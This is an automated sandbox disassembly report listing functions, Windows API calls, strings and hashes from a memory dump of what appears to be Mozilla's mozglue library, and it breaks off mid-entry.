Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CD29470
Part of subcall function 6CD29420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CD29482
Part of subcall function 6CD29420: __Init_thread_footer.LIBCMT ref: 6CD2949F

GetCurrentThreadId.KERNEL32 ref: 6CD2F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6CD2F598), ref: 6CD2F621

Part of subcall function 6CD294D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CD294EE
Part of subcall function 6CD294D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CD29508

GetCurrentThreadId.KERNEL32 ref: 6CD2F637
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F645
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8,?,?,00000000,?,6CD2F598), ref: 6CD2F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6CD2F62A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 72bd1b9ef30b64dc4123122c1226ab87fb5b906a9a46653be0665041b9056627
Instruction ID: df4e29395a518539b2478c9647b31e0ad588f63dea8ad3c0909c3c79ea8845ad
Opcode Fuzzy Hash: 72bd1b9ef30b64dc4123122c1226ab87fb5b906a9a46653be0665041b9056627
Instruction Fuzzy Hash: 3BF05B75300204BBFB006B67C848A75777DEB8525DF000415FB0583B52DB755805C775

Uniqueness

Uniqueness Score: -1.00%

Function 6CD205F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD205FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6CD1CFAE,?,?,?,6CCE31A7), ref: 6CD20616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6CCE31A7), ref: 6CD2061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6CCE31A7), ref: 6CD20627

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD2061B, 6CD20625
<jemalloc>, xrefs: 6CD205FA, 6CD2060F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction ID: ca1f78841bb7453b6a8d73cac3e9a95ae009a46e57eec1718f53dcf64255bd87
Opcode Fuzzy Hash: b2321b3c03df19d41dc9262590e82c8701f4c894c4d5d05cbca79bfb332df199
Instruction Fuzzy Hash: 88E08CE2A0101437F9142356AC86DBB7A5CDBCA574F080039FE0D82321E94AAD2E91F6

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF05F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
Instruction ID: 44b323920295c4fb89eb1bce32c162881aab2a8f3cc3f592b47d8d30bc42832a
Opcode Fuzzy Hash: 42eeed391150b6b7734b0f1f20b7e98e61a16da120e23c22ba65cd3c9657df05
Instruction Fuzzy Hash: A0A16AB0A00645CFDB54CF29C584B99FBF1BF88704F5486AED85A97B01E730A945CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD414A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD414C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6CD414E2
GetCurrentThreadId.KERNEL32 ref: 6CD41546
InitializeConditionVariable.KERNEL32(?), ref: 6CD415BA
free.MOZGLUE(?), ref: 6CD416B4

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction ID: daeee159114a82cfaf032e66e3eced24fdd647a4d197d20a721ac1cd551afd99
Opcode Fuzzy Hash: 9d5dbb1dbb93d9a7d3e36f70b4d0a7a14edec91e91fbb0cb63d57a924d35aa7f
Instruction Fuzzy Hash: 4861E271A00710DBDB119F25C880BEEB7B4BF8A308F44951DEE8A57761DB31E958CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD3DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6CD3D38A,?), ref: 6CD3DC6F
free.MOZGLUE(?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6CD3D38A,?), ref: 6CD3DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6CD3D38A,?), ref: 6CD3DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6CD3D38A,?), ref: 6CD3DD4A

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction ID: e72f73cf231f4d187fe6e10c8d1449e96869b26ae5852a17988bae7b5e644407
Opcode Fuzzy Hash: 5ebce18bc704f49ca8868d09105c396e7415c56ede11970633a60f0ad63343e0
Instruction Fuzzy Hash: AD416BB5A00215DFCB00CF99C88099AB7F5FF8A304B155469D94AABB21E771FC00CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD26590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1FA80: GetCurrentThreadId.KERNEL32 ref: 6CD1FA8D
Part of subcall function 6CD1FA80: AcquireSRWLockExclusive.KERNEL32(6CD6F448), ref: 6CD1FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CD26727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6CD267C8

Part of subcall function 6CD34290: memcpy.VCRUNTIME140(?,?,6CD42003,6CD40AD9,?,6CD40AD9,00000000,?,6CD40AD9,?,00000004,?,6CD41A62,?,6CD42003,?), ref: 6CD342C4

Strings

data, xrefs: 6CD26593

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction ID: 189627b153fea2eac0e8b69f3fba1e935ef3a0560e79066153cbac75edb50035
Opcode Fuzzy Hash: 6f8fba136f000b85b1640fa28d090670ef60e9b487291bebd38e3f7ff6ddb349
Instruction Fuzzy Hash: 05D1E375A083408FD724DF25D850B9FB7E5AFC5308F10492DD689C7BA1EB35A90ACB62

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CCEEB57,?,?,?,?,?,?,?,?,?), ref: 6CD1D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CCEEB57,?), ref: 6CD1D673
free.MOZGLUE(?), ref: 6CD1D888

Strings

|Enabled, xrefs: 6CD1D81E

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction ID: 3f477e37e9c058af8ed0c0126875fd44dcd89adcd6e61fe9a53614bebb206805
Opcode Fuzzy Hash: 4b169a43ce0545fc5b6561e2dae74625fe888b650c0517428ee5062cbed251f7
Instruction Fuzzy Hash: EEA127B0A08308CFDB02CF69D4807AEBBF1AF4A318F14805CD895ABB51D731A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CD1F480

Part of subcall function 6CCEF100: LoadLibraryW.KERNEL32(shell32,?,6CD5D020), ref: 6CCEF122
Part of subcall function 6CCEF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CCEF132

CloseHandle.KERNEL32(00000000), ref: 6CD1F555

Part of subcall function 6CCF14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CCF1248,6CCF1248,?), ref: 6CCF14C9
Part of subcall function 6CCF14B0: memcpy.VCRUNTIME140(?,6CCF1248,00000000,?,6CCF1248,?), ref: 6CCF14EF

Part of subcall function 6CCEEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CCEEEE3

CreateFileW.KERNEL32 ref: 6CD1F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CD1F523

Strings

\oleacc.dll, xrefs: 6CD1F4CB

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction ID: 1de2eb864e41f00062e16d5e01fb2b53f399552493f8800da76be872d306b66f
Opcode Fuzzy Hash: 55ddf3689d0588efb5215f3d5f86dde560ea09e5b8107773b187d26c03228832
Instruction Fuzzy Hash: 8941A2706087109FE720DF29D884A9BB7F4AF85318F500A1CF69183A60EB30D949CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD474A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CD47526
__Init_thread_footer.LIBCMT ref: 6CD47566
__Init_thread_footer.LIBCMT ref: 6CD47597

Strings

kernel32.dll, xrefs: 6CD47557
UnmapViewOfFile2, xrefs: 6CD47552

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction ID: f6cddd1c38879a783845fe561411df5b2b1d1a69bd8887eed4a26836a64ea88b
Opcode Fuzzy Hash: 0db10dfa784e7e2516e193c1069698ed975515805a2fade27ed08b25c82f2f21
Instruction Fuzzy Hash: 6E21F831704941FBEA14EBA69914F797379FB46364F12852DD7098BFA0C731A805C5B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4C410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4C0E9), ref: 6CD4C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CD4C437
FreeLibrary.KERNEL32(?,6CD4C0E9), ref: 6CD4C44C

Strings

NtQueryVirtualMemory, xrefs: 6CD4C431
ntdll.dll, xrefs: 6CD4C413

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction ID: 2d0c377a36fb66fec76e6e667899f9b6b67fff497fdcbe193514b3d53379a55c
Opcode Fuzzy Hash: 2243706546de7849ca74213bcec570e00697a81d40f725ad68e1046cbd5af9a3
Instruction Fuzzy Hash: F1E092B0601B01ABFF006B738A18739BBFCB786204F00915AAB4891762EBB1D004EB60

Uniqueness

Uniqueness Score: -1.00%

Function 6CD475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CD4748B,?), ref: 6CD475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CD475D7
FreeLibrary.KERNEL32(?,6CD4748B,?), ref: 6CD475EC

Strings

ntdll.dll, xrefs: 6CD475B3
RtlNtStatusToDosError, xrefs: 6CD475D1

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction ID: bfa739b8c137f7cfdb44701528a0a64c72928e6815718c8586fc57aa978be564
Opcode Fuzzy Hash: ede829837d1889fcabb1113d4bdac49c36bf007cd33ec041ba3a3bf32eec4aeb
Instruction Fuzzy Hash: ADE09272644701BBFB006BA3C848721BAFCEB06259F208026EB05D5A62EBB4D045DF20

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6CD4BE49), ref: 6CD4BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6CD4BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6CD4BE49), ref: 6CD4BF38
RtlReAllocateHeap.NTDLL ref: 6CD4BF83
RtlFreeHeap.NTDLL(6CD4BE49,00000000), ref: 6CD4BFA6

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction ID: 63eaa2c2c4d3b3527ea00b8872afa69feb1d7e38625f06d906eb181292b1f361
Opcode Fuzzy Hash: 81726ae0eb29dd910d5b8d70759ec2f28ce345b6c77450c70a1d92af21711ec7
Instruction Fuzzy Hash: C1519371A006019FE710CF69C880B9EB3A2FFD4314F298639D659A7BA4D731F9068F90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD38E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38EBF
free.MOZGLUE(?,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?,6CD5D734), ref: 6CD38F46
free.MOZGLUE(?,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6CD2B58D,?,?,?,?,?,?,?,6CD5D734,?,?,?), ref: 6CD38F8F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 91a46fb6f5a269e81bdcea773b72f6b50c32e8ef5b51fcaf3ef15faee47bcfb1
Instruction ID: d2e2a1515d6e1a6b53e468a4ab8ab8dbb9707f9517a9ffce5679834d74426739
Opcode Fuzzy Hash: 91a46fb6f5a269e81bdcea773b72f6b50c32e8ef5b51fcaf3ef15faee47bcfb1
Instruction Fuzzy Hash: 7D5181B1A012258FEB14CF64DC8066E73F6AF86318F15052AD95AEB750E731F904CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CCE4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CCE4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CCE4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CCE4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CCE4F1E

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction ID: 4f87ea8287fd51f89ff640977c1b35908c490e65bbb37d53157d440368d92428
Opcode Fuzzy Hash: ac7739f33903d466a1cbf20260d637511d9592cb22c7ba489baa280e3a88ca8e
Instruction Fuzzy Hash: 0041BE716087059FC705CFA9C88095BB7E4BF8E344F108A2DF56587B51EB30E958CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCF1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15BC
moz_xmalloc.MOZGLUE(-00000001,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF15E7
free.MOZGLUE(?,?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CCF152B,?,?,?,?,6CCF1248,?), ref: 6CCF1637

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction ID: 8bbff728306fe9d9c9f6a39cdabba4a23f631d64e98f10f05635dd45d8b24a1d
Opcode Fuzzy Hash: 96003f4ed4a797461edd42f74d29c13538fcb442269f77de8df4706082f8ae19
Instruction Fuzzy Hash: EC31D3B2A001048BCB588F6DD85046E77A9FF813647250B2DE833DBBE4FB30D9168791

Uniqueness

Uniqueness Score: -1.00%

Function 6CD4AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

